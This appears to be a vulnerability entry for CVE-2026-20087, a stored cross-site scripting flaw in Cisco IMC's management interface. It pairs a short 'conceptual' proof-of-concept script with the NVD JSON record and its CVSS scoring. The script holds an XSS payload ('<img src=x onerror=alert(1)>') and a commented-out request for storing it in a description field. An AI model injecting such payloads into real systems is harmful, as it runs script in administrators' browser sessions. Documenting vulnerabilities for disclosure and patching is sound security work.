CVE-2026-20087

<!-- PoC for CVE-2026-20087 (Stored XSS in Cisco IMC) This is a conceptual demonstration. --> <script> // Attacker injects this payload into a vulnerable field (e.g., Description field) // The payload attempts to execute a simple alert to confirm execution. var payload = '<img src=x onerror=alert(1)>'; // Hypothetical POST request to store the payload // fetch('/api/save_config', { // method: 'POST', // body: JSON.stringify({ description: payload }) // }); console.log("Payload ready for injection: " + payload); </script> <!-- When an admin user views the page containing this payload, the JavaScript executes in their browser session. -->

{"cve": {"id": "CVE-2026-20087", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:26.863", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with administrative privileges to conduct a stored XSS attack against a user of the interface.\r\n\r\nThis vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-xss-A2tkgVAB", "source": "[email protected]"}]}}